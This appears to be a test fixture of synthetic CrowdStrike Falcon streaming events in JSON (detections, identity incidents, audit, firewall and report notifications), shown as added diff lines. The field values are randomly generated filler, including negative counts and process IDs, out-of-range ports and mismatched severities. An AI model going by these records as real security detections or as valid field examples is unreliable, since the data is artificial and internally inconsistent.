+{"metadata": {"customerIDString": "wrongmob","offset": -422176460,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "comfortablesedge","DetectName": "kubanfleet","DetectDescription": "relaxation shoulder door band method noun deceit tolerance childhood elegance dentist loneliness day church usage production entertainment whyirritation","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/somevillage?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 4,"SeverityName": "Informational","Tactic": "unusualposse","Technique": "everyoneroom","Objective": "histoy","SourceAccountDomain": "heresugar","SourceAccountName": "fantasticmouth","SourceAccountObjectSid": "over theregovernment","SourceEndpointAccountObjectGuid": "whereposse","SourceEndpointAccountObjectSid": "itsteam","SourceEndpointHostName": "whatlabour","SourceEndpointIpAddress": "85.158.225.79","SourceEndpointSensorId": "herehomework","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "whatgenetics","PatternId": -850535251}}
+{"metadata": {"customerIDString": "whoseold age","offset": -734314513,"eventType": "IncidentSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentStartTime": 1685844891,"IncidentEndTime": 1685844891,"FalconHostLink": "heremethod","State": "closed","FineScore": 7.4072197893040554,"LateralMovement": 0,"IncidentType": 1,"IncidentID": "whichhorror","HostID": "hiscoldness","LMHostIDs": ["thatpack"],"UserId": "helpfulcongregation"}}
+{"metadata": {"customerIDString": "therepack","offset": 1274480458,"eventType": "RemoteResponseSessionStartEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SessionId": "hisfuel","HostnameField": "fewgoal","UserName": "Polynesiangate","StartTimestamp": 1582830734,"AgentIdString": "whyyear"}}
+{"metadata": {"customerIDString": "mybattery","offset": 646949587,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "hugeaircraft","IncidentDescription": "leap crib patrol life childhood caravan fire album congregation government board cello data couplebus","Severity": 87,"SeverityName": "Low","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Putinistchest","UserName": "everybodyfather","EndpointName": "whichteam","EndpointIp": "217.37.208.88","Category": "Detections","NumbersOfAlerts": -1957530576,"NumberOfCompromisedEntities": 1981982712,"State": "IN_PROGRESS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whatcongregation?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "Koreanscold","offset": 1802688676,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "theirhand","DataDomains": "Cloud","Description": "wisdom woman orange cleanmuster","DetectId": "itssheaf","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "12.139.167.121","HostNames": "browndynasty","Name": "Burmesegeneration","PatternId": 610471078,"Severity": 100,"SourceProducts": "itsboard","SourceVendors": "nonepublicity","StartTimeEpoch": 1643317697728000000,"TacticIds": "eachflock","Tactics": "gooddream","TechniqueIds": "a littleproblem","Techniques": "herhost","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "littlefact","offset": -1311502076,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "theiridea","IncidentDescription": "irritation hand mob week Taiwanesewealth","Severity": 58,"SeverityName": "Critical","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "fullcorner","UserName": "hispod","EndpointName": "everybodyfather","EndpointIp": "66.207.42.96","Category": "Detections","NumbersOfAlerts": 1444919827,"NumberOfCompromisedEntities": 1419946186,"State": "RESOLVED","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/everybodybundle?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "Intelligentdream","offset": -294987382,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "everyonegenerosity","UserID": "excitingposse","ExecutionID": "Turkmenbevy","ReportID": "Polishday","ReportName": "hugemurder","ReportType": "hurtbox","ReportFileReference": "mycatalog","Status": "Himalayananswer","StatusMessage": "howboat","ExecutionMetadata": {"ExecutionStart": 125781275,"ExecutionDuration": 1746585042,"ReportFileName": "sorewoman","ResultCount": 1298993366,"ResultID": "magnificentweek","SearchWindowStart": 1195611967,"SearchWindowEnd": -1416647402}}}
+{"metadata": {"customerIDString": "hispyramid","offset": -1623127264,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "anycompany","UserIp": "121.140.140.29","OperationName": "revokeUserRoles","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "disgustingsmile","ValueString": "therecatalog"}],"Attributes": {"actor_cid": "herelove","actor_user": "thosebush","actor_user_uuid": "wheresmoke","app_id": "alltruck","saml_assertion": "anyonemurder","target_user": "Cambodianline","trace_id": "nonevision"}}}
+{"metadata": {"customerIDString": "allbox","offset": -989631340,"eventType": "XdrDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"Author": "thatdynasty","DataDomains": "Cloud","Description": "leap mouth book number regiment stand hand warmth hisfactory","DetectId": "howgroup","EndTimeEpoch": 1643317697728000000,"IPv4Addresses": "143.41.121.16","HostNames": "manylife","Name": "herposse","PatternId": -634411481,"Severity": 34,"SourceProducts": "Gabonesemob","SourceVendors": "heavilyhost","StartTimeEpoch": 1643317697728000000,"TacticIds": "theirmuster","Tactics": "Greekbrother","TechniqueIds": "whichmovement","Techniques": "herexaltation","XdrType": "xdr" } }}
+{"metadata": {"customerIDString": "ourhost","offset": 1465205101,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "significantegg","UserIp": "206.10.189.0","OperationName": "twoFactorAuthenticate","ServiceName": "detections","AuditKeyValues": [{"Key": "myparty","ValueString": "theirarchipelago"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "anythingadvertising"}}}
+{"metadata": {"customerIDString": "fineparty","offset": 943850327,"eventType": "FirewallMatchEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"DeviceId": "thatanimal","CustomerId": "ourgroup","Ipv": "78.151.91.127","CommandLine": "yourpart","ConnectionDirection": "0","EventType": "FirewallRuleApplicationFailed","Flags": {"Audit": true,"Log": true,"Monitor": true},"HostName": "Costa Ricanlife","ICMPCode": "Intelligentomen","ICMPType": "everythingnest","ImageFileName": "selfishfact","LocalAddress": "231.218.60.115","LocalPort": "89044","MatchCount": 446877245,"MatchCountSinceLastReport": -2043254590,"NetworkProfile": "somesister","PID": "-1529239543","PolicyName": "gentlebasket","PolicyID": "myfilm","Protocol": "fullscold","RemoteAddress": "159.20.51.154","RemotePort": "46914","RuleAction": "Machiavelliancaravan","RuleDescription": "hail poverty product loneliness accident crew luxuty somecoat","RuleFamilyID": "Portuguesecongregation","RuleGroupName": "Freudiangalaxy","RuleName": "theseline","RuleId": "hishorde","Status": "everythingright","Timestamp": 1751371830,"TreeID": "herriches"}}
+{"metadata": {"customerIDString": "Spanishpasta","offset": -893484579,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "South Americancomputer","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\allbike","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Cloud","Description": "software horror health range toy divorce monkey pack way bevy piano child library person pencil plant luxury fact line river point whosebundle","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/eachparfume?_cid=xxxxxxx","FileName": "Atlantickitchen","FilePath": "manyhorde\\Atlantickitchen","FilesAccessed": [{"FileName": "Atlantickitchen","FilePath": "manyhorde\\Atlantickitchen","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "Atlantickitchen","FilePath": "manyhorde\\Atlantickitchen","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\hownest","GrandParentImageFileName": "thatcrew","GrandParentImageFilePath": "mypower\\thatcrew","HostGroups": "wherepack","Hostname": "Cormoranfreedom","LocalIP": "26.204.128.213","LocalIPv6": "123.139.218.209","LogonDomain": "enthusiasticslavery","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "hissolitude","Name": "anythingchest","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1891697848,"ConnectionDirection": 1,"IsIPV6": false,"LocalAddress": "72.41.21.152","LocalPort": 12725,"Protocol": "blushinghost","RemoteAddress": "34.137.196.93","RemotePort": 63805}],"Objective": "heremoney","ParentCommandLine": "C:\\Windows\\enough ofbaby\\thislife","ParentImageFileName": "thislife","ParentImageFilePath": "hundredscackle\\thislife","ParentProcessId": 465916269,"PatternDispositionDescription": "murder farm bowl posse time pack cheese pod range group weekend galaxy posse Frenchgrandfather","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": false,"CriticalProcessDisabled": false,"Detect": false,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": false,"KillActionFailed": true,"KillParent": false,"KillProcess": false,"KillSubProcess": true,"OperationBlocked": true,"PolicyDisabled": false,"ProcessBlocked": true,"QuarantineFile": false,"QuarantineMachine": true,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": true,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": 1517456504,"PatternId": 390838794,"PlatformId": "Putinistflock","PlatformName": "Linux","ProcessEndTime": -744832380,"ProcessId": -1241385214,"ProcessStartTime": 1826349955,"ReferrerUrl": "doubleday","SHA1String": "ourschool","SHA256String": "uptightyear","Severity": 74,"SeverityName": "Informational","SourceProducts": "jitterypasta","SourceVendors": "whichplane","Tactic": "whatcandy","Technique": "Indonesianchild","Type": "ldt","UserName": "ourhappiness"}}
+{"metadata": {"customerIDString": "Bismarckianstring","offset": 1485071988,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "ourwit","UserID": "Koreanspeed","ExecutionID": "anyonecomb","ReportID": "thereclump","ReportName": "herstaff","ReportType": "howphone","ReportFileReference": "yourarrow","Status": "Guyaneseperson","StatusMessage": "herewisp","ExecutionMetadata": {"ExecutionStart": -744689264,"ExecutionDuration": -1246961732,"ReportFileName": "Danishcompany","ResultCount": -2085098264,"ResultID": "manysalt","SearchWindowStart": -1006835044,"SearchWindowEnd": 885943863}}}
+{"metadata": {"customerIDString": "heavilymodel","offset": -309080009,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "someriver","IncidentDescription": "vehicle music comfort line party disregard pack thatdamage","Severity": 63,"SeverityName": "Medium","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "Lilliputianforest","UserName": "thatschool","EndpointName": "Greekjoy","EndpointIp": "206.49.254.21","Category": "Detections","NumbersOfAlerts": 1923521815,"NumberOfCompromisedEntities": 1895439142,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/yourpain?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "thisdata","offset": 545701328,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "enchantedcourage","PolicyId": 492517383,"PolicyStatement": "South Americanhammer","CloudProvider": "wherenoun","CloudService": "theirpark","Severity": 15,"SeverityName": "High","EventAction": "toopack","EventSource": "emptywad","EventCreatedTimestamp": 1663011160,"UserId": "whichweek","UserName": "blackweek","UserSourceIp": "48.144.197.150","Tactic": "somecase","Technique": "Lebanesecase"}}
+{"metadata": {"customerIDString": "angrynumber","offset": -489848778,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "itstribe","UserIp": "142.24.129.115","OperationName": "twoFactorAuthenticate","ServiceName": "Crowdstrike Streaming API","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "whatschool","ValueString": "Gaussiancompany"}],"Attributes": {"actor_cid": "poisedscold","actor_user": "Peruvianhall","actor_user_uuid": "howscold","app_id": "theirimagination","saml_assertion": "whatteam","target_user": "itsmovement","trace_id": "howhealth"}}}
+{"metadata": {"customerIDString": "Guyanesefan","offset": 277731204,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "defiantstand","UserIp": "98.49.13.100","OperationName": "updateUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "whosehead","ValueString": "Salvadoreanleap"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "splendidcongregation"}}}
+{"metadata": {"customerIDString": "enough ofnumber","offset": 781713828,"eventType": "DetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ProcessStartTime": 2014971318,"ProcessEndTime": -1424813573,"ProcessId": 641627741,"ParentProcessId": -2093466398,"ComputerName": "wholehost","UserName": "thisoutfit","DetectName": "itsbrilliance","DetectDescription": "unemployment year brilliance bunch case woman child jumper room chocolate week scold poverty band advantage board crowd river eithersand","Severity": 0,"SeverityName": "Medium","FileName": "hisdisregard","FilePath": "herecrew\\hisdisregard","CommandLine": "C:\\Windows\\Madagascanfriendship","SHA256String": "substantialspoon","MD5String": "whereflag","SHA1String": "ourowl","MachineDomain": "clumsyband","NetworkAccesses": [{"AccessType": -124367159,"AccessTimestamp": 1751371565,"Protocol": "scenicmob","LocalAddress": "52.61.70.71","LocalPort": 36507,"RemoteAddress": "170.126.247.116","RemotePort": 50106,"ConnectionDirection": 1,"IsIPV6": false}],"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/thesearrow?_cid=xxxxxxx","SensorId": "anyscissors","IOCType": "hash_md5","IOCValue": "itcorner","DetectId": "beautifuldetermination","LocalIP": "55.240.128.142","MACAddress": "ba-xx-00-xx-d0-00","Tactic": "lightperson","Technique": "hercurrency","Objective": "uninterestedsedge","PatternDispositionDescription": "quality stand wit apartment longbrace","PatternDispositionValue": -460138786,"PatternDispositionFlags": {"Indicator": true,"Detect": true,"InddetMask": true,"SensorOnly": false,"Rooting": true,"KillProcess": false,"KillSubProcess": true,"QuarantineMachine": true,"QuarantineFile": true,"PolicyDisabled": true,"KillParent": false,"OperationBlocked": false,"ProcessBlocked": false,"RegistryOperationBlocked": false,"CriticalProcessDisabled": false,"BootupSafeguardEnabled": true,"FsOperationBlocked": true,"HandleOperationDowngraded": true,"KillActionFailed": true,"BlockingUnsupportedOrDisabled": true,"SuspendProcess": false,"SuspendParent": true},"ParentImageFileName": "everythingmonkey","ParentCommandLine": "neitherface","GrandparentImageFileName": "pricklinghorde","GrandparentCommandLine": "Belgianbunch","HostGroups": "theirheat","AssociatedFile": "whosepeace","PatternId": 480175611}}
+{"metadata": {"customerIDString": "over therelove","offset": 1707718174,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "hundredsclass","UserIp": "29.6.21.146","OperationName": "createUser","ServiceName": "detections","Success": false,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "everyonestupidity","ValueString": "substantialjustice"}],"Attributes": {"actor_cid": "herclass","actor_user": "theirthought","actor_user_uuid": "fewemployment","app_id": "Rooseveltiantribe","saml_assertion": "defiantschool","target_user": "nonephotographer","trace_id": "anycloud"}}}
+{"metadata": {"customerIDString": "yourring","offset": 389228953,"eventType": "MobileDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"SensorId": "everythingmember","MobileDetectionId": 1329334806,"ComputerName": "Diabolicalperson","UserName": "finecloud","ContextTimeStamp": 1649061056,"DetectId": "hisbowl","DetectName": "enough ofroad","DetectDescription": "picture grandfather number field idea cloud horde team idea fuel gang anyonestaff","Tactic": "friendlybox","TacticId": "theirsink","Technique": "whatnewspaper","TechniqueId": "itcaravan","Objective": "yourlie","Severity": 18,"FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/Madagascanfather?_cid=xxxxxxx","MobileAppsDetails": [{"AppIdentifier": "zealouspack","AndroidAppLabel": "nervousspeed","DexFileHashes": "howhappiness","ImageFileName": "tiredbrilliance","AppInstallerInformation": "eagersister","IsBeingDebugged": false,"AndroidAppVersionName": "substantialheap","IsContainerized": true}]}}
+{"metadata": {"customerIDString": "Madagascandriver","offset": -156491846,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "theireye","Highlights": ["queermotherhood"],"MatchedTimestamp": 1686889114000,"RuleId": "theirwound","RuleName": "Confuciannose","RuleTopic": "Colombianpatrol","RulePriority": "itmob","ItemId": "howcrew","ItemType": "LEGACY_TI","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "severalwall","offset": 1540072795,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "thesebevy","UserID": "significantteam","ExecutionID": "insufficientmanagement","ReportID": "oneantlers","ReportName": "fewhail","ReportType": "itsirritation","ReportFileReference": "whatlake","Status": "itspod","StatusMessage": "charmingregiment","ExecutionMetadata": {"ExecutionStart": 637627792,"ExecutionDuration": 1854835916,"ReportFileName": "allbouquet","ResultCount": -2060549350,"ResultID": "myfather","SearchWindowStart": -403925386,"SearchWindowEnd": -848128035}}}
+{"metadata": {"customerIDString": "whereracism","offset": -1319618271,"eventType": "UserActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "theseband","UserIp": "163.242.55.162","OperationName": "deleteUser","ServiceName": "Crowdstrike Streaming API","AuditKeyValues": [{"Key": "severalcrew","ValueString": "thereheat"}],"UTCTimestamp": 1686849556,"Attributes": {"detection_id": "severalcrowd"}}}
+{"metadata": {"customerIDString": "thatpacket","offset": -637020247,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "theirclump","PolicyId": -2135732859,"PolicyStatement": "whichchild","CloudProvider": "therehail","CloudService": "whybowl","Severity": 86,"SeverityName": "Critical","EventAction": "couplework","EventSource": "Welshdresser","EventCreatedTimestamp": 1663011160,"UserId": "yourleap","UserName": "somebodycare","UserSourceIp": "19.117.240.184","Tactic": "thisdamage","Technique": "relievedpleasure"}}
+{"metadata": {"customerIDString": "numerousarmy","offset": -338129624,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "myparty","IncidentDescription": "packet economics child economics gold choir cackle day posse rice muster pollution hail tea trend crowd muster case razor album cash Einsteinianarchipelago","Severity": 78,"SeverityName": "High","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "thereream","UserName": "nobodychest","EndpointName": "wherefire","EndpointIp": "17.198.246.183","Category": "Detections","NumbersOfAlerts": -264134745,"NumberOfCompromisedEntities": 920309085,"State": "DISMISS","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hisalbum?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "itsadult","offset": -1927607874,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "howhand","UserID": "wherewad","ExecutionID": "Bahamiancleverness","ReportID": "Burmesewisp","ReportName": "itschoir","ReportType": "littleweek","ReportFileReference": "somecloud","Status": "plenty oftribe","StatusMessage": "over therebasket","ExecutionMetadata": {"ExecutionStart": 900858946,"ExecutionDuration": 1334923198,"ReportFileName": "whatspaghetti","ResultCount": 1571375116,"ResultID": "whywisdom","SearchWindowStart": -1206305095,"SearchWindowEnd": -1395374622}}}
+{"metadata": {"customerIDString": "anymuster","offset": 175335442,"eventType": "IdentityProtectionEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"IncidentType": "wholechildhood","IncidentDescription": "mouse towel pyramid year motor regiment daughter bale battery sandals line inexpensivemurder","Severity": 38,"SeverityName": "Medium","StartTime": 1686891836383,"EndTime": 1686891836383,"IdentityProtectionIncidentId": "itswelfare","UserName": "thereweek","EndpointName": "thattrip","EndpointIp": "173.136.247.123","Category": "Incidents","NumbersOfAlerts": -116047183,"NumberOfCompromisedEntities": 733697580,"State": "NEW","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/whosefire?_cid=xxxxxxx"}}
+{"metadata": {"customerIDString": "wherehousework","offset": 1680558861,"eventType": "ScheduledReportNotificationEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserUUID": "tooparty","UserID": "thatarmy","ExecutionID": "Shakespeareanslavery","ReportID": "Einsteiniancoat","ReportName": "whichtime","ReportType": "yellownest","ReportFileReference": "fullgang","Status": "whosefact","StatusMessage": "thattroop","ExecutionMetadata": {"ExecutionStart": 1159831550,"ExecutionDuration": 1995957505,"ReportFileName": "thisbatch","ResultCount": -1490727767,"ResultID": "wherecrew","SearchWindowStart": -2091742616,"SearchWindowEnd": 1408069491}}}
+{"metadata": {"customerIDString": "halfcalm","offset": -1427582267,"eventType": "CSPMIOAStreamingEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AccountId": "thisjudge","PolicyId": 1096303979,"PolicyStatement": "over thereturtle","CloudProvider": "littleshoulder","CloudService": "thattroop","Severity": 79,"SeverityName": "Low","EventAction": "cleverparty","EventSource": "anybike","EventCreatedTimestamp": 1663011160,"UserId": "inexpensivebattery","UserName": "Darwinianarchitect","UserSourceIp": "119.98.56.233","Tactic": "thoserestaurant","Technique": "Taiwaneselabour"}}
+{"metadata": {"customerIDString": "someholiday","offset": 1570491927,"eventType": "ReconNotificationSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"NotificationId": "fewpotato","Highlights": ["Italianbed"],"MatchedTimestamp": 1686889114000,"RuleId": "Sri-Lankanproblem","RuleName": "therecousin","RuleTopic": "Danishjoy","RulePriority": "thoseartist","ItemId": "whosetroop","ItemType": "SCRAPPY","ItemPostedTimestamp": 1686889114000}}
+{"metadata": {"customerIDString": "Einsteiniangrains","offset": -1732787801,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "Gabonesecompany","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\enthusiasticuncle","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Identity","Description": "staff scold childhood fun problem page toothbrush hismuster","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/busycorruption?_cid=xxxxxxx","FileName": "enough ofknowledge","FilePath": "fewweather\\enough ofknowledge","FilesAccessed": [{"FileName": "enough ofknowledge","FilePath": "fewweather\\enough ofknowledge","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "enough ofknowledge","FilePath": "fewweather\\enough ofknowledge","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\badwisp","GrandParentImageFileName": "wherecompany","GrandParentImageFilePath": "howchair\\wherecompany","HostGroups": "theirream","Hostname": "mynest","LocalIP": "147.20.149.138","LocalIPv6": "114.145.127.20","LogonDomain": "itsparty","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "mycatalog","Name": "insufficientelectricity","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": -1802210092,"ConnectionDirection": 0,"IsIPV6": false,"LocalAddress": "71.185.194.181","LocalPort": 59560,"Protocol": "everybodylaughter","RemoteAddress": "101.230.28.62","RemotePort": 76857}],"Objective": "thesesuccess","ParentCommandLine": "C:\\Windows\\mostcastle\\whosephone","ParentImageFileName": "whosephone","ParentImageFilePath": "charmingwoman\\whosephone","ParentProcessId": 1065827657,"PatternDispositionDescription": "collection woman horde mob severalmuster","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": true,"BootupSafeguardEnabled": true,"ContainmentFileSystem": true,"CriticalProcessDisabled": true,"Detect": true,"FsOperationBlocked": false,"HandleOperationDowngraded": true,"InddetMask": false,"Indicator": true,"KillActionFailed": true,"KillParent": false,"KillProcess": false,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": false,"ProcessBlocked": false,"QuarantineFile": false,"QuarantineMachine": false,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": false,"SuspendParent": true,"SuspendProcess": true},"PatternDispositionValue": 1116723532,"PatternId": 757487647,"PlatformId": "someverb","PlatformName": "Linux","ProcessEndTime": 1507380857,"ProcessId": -1813423510,"ProcessStartTime": 475295942,"ReferrerUrl": "onejustice","SHA1String": "agreeablevillage","SHA256String": "thatcompany","Severity": 60,"SeverityName": "Informational","SourceProducts": "hergain","SourceVendors": "purpleexaltation","Tactic": "cheerfulassistance","Technique": "therejersey","Type": "ofp","UserName": "Cambodianshower"}}
+{"metadata": {"customerIDString": "herelighter","offset": 810871818,"eventType": "AuthActivityAuditEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"UserId": "somebodycomb","UserIp": "88.207.85.114","OperationName": "updateUserRoles","ServiceName": "detections","Success": true,"UTCTimestamp": 1686849556,"AuditKeyValues": [{"Key": "lightbatch","ValueString": "Romaniancase"}],"Attributes": {"actor_cid": "whichmob","actor_user": "whereappetite","actor_user_uuid": "mytroupe","app_id": "littleidea","saml_assertion": "Madagascanjustice","target_user": "hundredyouth","trace_id": "yourcaravan"}}}
+{"metadata": {"customerIDString": "purpletomatoes","offset": -1854554253,"eventType": "IdpDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"ContextTimeStamp": 133984620360000000,"CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DetectId": "whichadvantage","DetectName": "whydog","DetectDescription": "town group book catalog hedge bevy truth troop case way energy heremetal","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/badgroup?_cid=xxxxxxx","StartTime": 133984620360000000,"EndTime": 133984620360000000,"Severity": 97,"SeverityName": "Medium","Tactic": "whattissue","Technique": "manyteam","Objective": "hiscompany","SourceAccountDomain": "somebodyjob","SourceAccountName": "howline","SourceAccountObjectSid": "Lilliputiandynasty","SourceEndpointAccountObjectGuid": "Britishproduct","SourceEndpointAccountObjectSid": "eachhand","SourceEndpointHostName": "whywashing machine","SourceEndpointIpAddress": "194.53.21.15","SourceEndpointSensorId": "cooperativewoman","PrecedingActivityTimeStamp": 133984620360000000,"MostRecentActivityTimeStamp": 133984620360000000,"ActivityId": "Cypriotway","PatternId": -1731590592}}
+{"metadata": {"customerIDString": "hispouch","offset": 1916163763,"eventType": "EppDetectionSummaryEvent","eventCreationTime": 1686845212400,"version": "1.0"},"event": {"AgentId": "severalcompany","AggregateId": "xxxxxx:529fb8e5xxxxxxxx5d577e3f:38655211725","CommandLine": "C:\\Windows\\itsunion","CompositeId": "xxxxxxxx:ind:529fb8e5xxxxxxxx5d577e3f:41104","DataDomains": "Identity","Description": "apartment harvest eye luxuty bale class muchchair","FalconHostLink": "https://falcon.crowdstrike.com/activity-v2/detections/hershower?_cid=xxxxxxx","FileName": "everythingpunctuation","FilePath": "anythingcleverness\\everythingpunctuation","FilesAccessed": [{"FileName": "everythingpunctuation","FilePath": "anythingcleverness\\everythingpunctuation","Timestamp": 1751371830}],"FilesWritten": [{"FileName": "everythingpunctuation","FilePath": "anythingcleverness\\everythingpunctuation","Timestamp": 1751371830}],"GrandParentCommandLine": "C:\\Windows\\shyelegance","GrandParentImageFileName": "somecaptain","GrandParentImageFilePath": "nobodyhorde\\somecaptain","HostGroups": "a lottroop","Hostname": "everyonebook","LocalIP": "129.90.65.50","LocalIPv6": "67.129.132.111","LogonDomain": "howluggage","MACAddress": "ba-xx-00-xx-d0-00","MD5String": "myunderstanding","Name": "anyoneconfusion","NetworkAccesses": [{"AccessTimestamp": 1751371565,"AccessType": 1715370835,"ConnectionDirection": 1,"IsIPV6": false,"LocalAddress": "47.242.121.249","LocalPort": 64766,"Protocol": "whygrowth","RemoteAddress": "218.221.4.175","RemotePort": 4899}],"Objective": "tamemustering","ParentCommandLine": "C:\\Windows\\nervousarmy\\Hinduostrich","ParentImageFileName": "Hinduostrich","ParentImageFilePath": "nobodycrew\\Hinduostrich","ParentProcessId": 496739043,"PatternDispositionDescription": "music crowd number block dynasty museum bowl coldness pair weight host company muster person husband cleverness hand island problem trip coffee time mygroup","PatternDispositionFlags": {"BlockingUnsupportedOrDisabled": false,"BootupSafeguardEnabled": false,"ContainmentFileSystem": false,"CriticalProcessDisabled": true,"Detect": true,"FsOperationBlocked": true,"HandleOperationDowngraded": false,"InddetMask": true,"Indicator": false,"KillActionFailed": false,"KillParent": false,"KillProcess": true,"KillSubProcess": false,"OperationBlocked": false,"PolicyDisabled": true,"ProcessBlocked": true,"QuarantineFile": true,"QuarantineMachine": false,"RegistryOperationBlocked": false,"Rooting": false,"SensorOnly": true,"SuspendParent": false,"SuspendProcess": true},"PatternDispositionValue": 274275370,"PatternId": 1713484901,"PlatformId": "thatnature","PlatformName": "Windows","ProcessEndTime": -423582367,"ProcessId": 1362576839,"ProcessStartTime": -1243653454,"ReferrerUrl": "yourvilla","SHA1String": "improvisedrange","SHA256String": "Russiandream","Severity": 17,"SeverityName": "Low","SourceProducts": "hundredsstack","SourceVendors": "Einsteinianadvantage","Tactic": "severalboy","Technique": "Antarcticegg","Type": "ldt","UserName": "so fewshorts"}}
